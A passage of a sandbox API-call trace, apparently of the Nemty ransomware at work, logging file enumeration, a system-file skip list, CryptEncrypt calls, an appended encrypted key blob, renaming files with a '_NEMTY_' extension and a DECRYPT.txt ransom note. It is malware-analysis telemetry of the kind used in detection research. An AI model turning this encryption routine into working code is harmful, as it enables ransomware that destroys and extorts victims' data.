lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.775] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.SVE", cAlternateFileName="")) returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2=".") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="..") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="...") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="windows") returned -1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="rsa") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="NTDETECT.COM") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="ntldr") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="MSDOS.SYS") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="IO.SYS") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="boot.ini") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="boot.ini") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="ntuser.dat") returned 1 [0184.775] lstrcmpiW (lpString1="Weblink.SVE", lpString2="desktop.ini") returned 1 [0184.776] lstrcmpiW (lpString1="Weblink.SVE", lpString2="CONFIG.SYS") returned 1 [0184.776] lstrcmpiW (lpString1="Weblink.SVE", lpString2="RECYCLER") returned 1 [0184.776] lstrcmpiW (lpString1="Weblink.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.776] lstrcmpiW (lpString1="Weblink.SVE", lpString2="bootmgr") returned 1 [0184.776] lstrcmpiW (lpString1="Weblink.SVE", lpString2="programdata") returned 1 [0184.776] lstrcmpiW (lpString1="Weblink.SVE", lpString2="appdata") returned 1 [0184.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SVE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.776] Sleep (dwMilliseconds=0x5) [0184.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21c8c390, dwHighDateTime=0x1d561e8)) [0184.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21c8c390, dwHighDateTime=0x1d561e8)) [0184.780] GetLastError () returned 0x0 [0184.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.780] GetLastError () returned 0x0 [0184.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.780] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.780] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.780] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="UDOx3Z7EQlI67RoggbJ2PgQEHootpvMgWPFjDBjMHC8TnMKFqKV4bi86ieN4/NFC\r\nnSvT7I5t0K9o1YV6JUJkFN8aOHl1noqFyYfeBjmnoyf+1W/xDx4Sk95I5oACH9WR\r\n0su2kwevBy839QeR37a4o0MWGYA17ywi9uliHfwRJunJ7Qz5W0E17Gf/1Zn3+Ahv\r\nX6xD1fi/hoLeBq2V3zz7xVY0L+JyF1xXBw43KOOlKMwbAKEFRXhsL8O/yIGvopbo\r\nImbBjdQS98U9Bcht0dgu0X/uLxJ94mPxaZgJ5Ag+4GOU3WRn+EgHkPgQvL8UIMfC\r\nASzflUj4Qy+3jLSxY8nHpw==\r\n", pcchString=0x653e5dc) returned 1 [0184.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.781] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27136) returned 1 [0184.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a00) returned 0x6352c48 [0184.781] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.781] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6a00, lpOverlapped=0x0) returned 1 [0184.784] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.784] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6a00, lpOverlapped=0x0) returned 1 [0184.784] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.784] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00 [0184.784] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.785] CloseHandle (hObject=0x2e8) returned 1 [0184.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.785] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Weblink.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\weblink.sve._nemty_kgobjgd_")) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.786] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2183bbb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2183bbb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2183bbb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0184.786] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0184.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0184.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.786] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0184.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.787] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.787] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2183bbb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2183bbb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2183bbb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0184.787] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0184.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0184.787] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2=".") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="..") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="...") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="windows") returned -1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="$RECYCLE.BIN") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="rsa") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="NTDETECT.COM") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="ntldr") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="MSDOS.SYS") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="IO.SYS") returned 1 [0184.787] lstrcmpiW (lpString1="tr_TR", lpString2="boot.ini") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="boot.ini") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="AUTOEXEC.BAT") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="ntuser.dat") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="desktop.ini") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="CONFIG.SYS") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="RECYCLER") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="BOOTSECT.BAK") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="bootmgr") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="programdata") returned 1 [0184.788] lstrcmpiW (lpString1="tr_TR", lpString2="appdata") returned 1 [0184.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr_TR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr_TR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr_TR", lpUsedDefaultChar=0x0) returned 5 [0184.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr_TR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr_TR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, 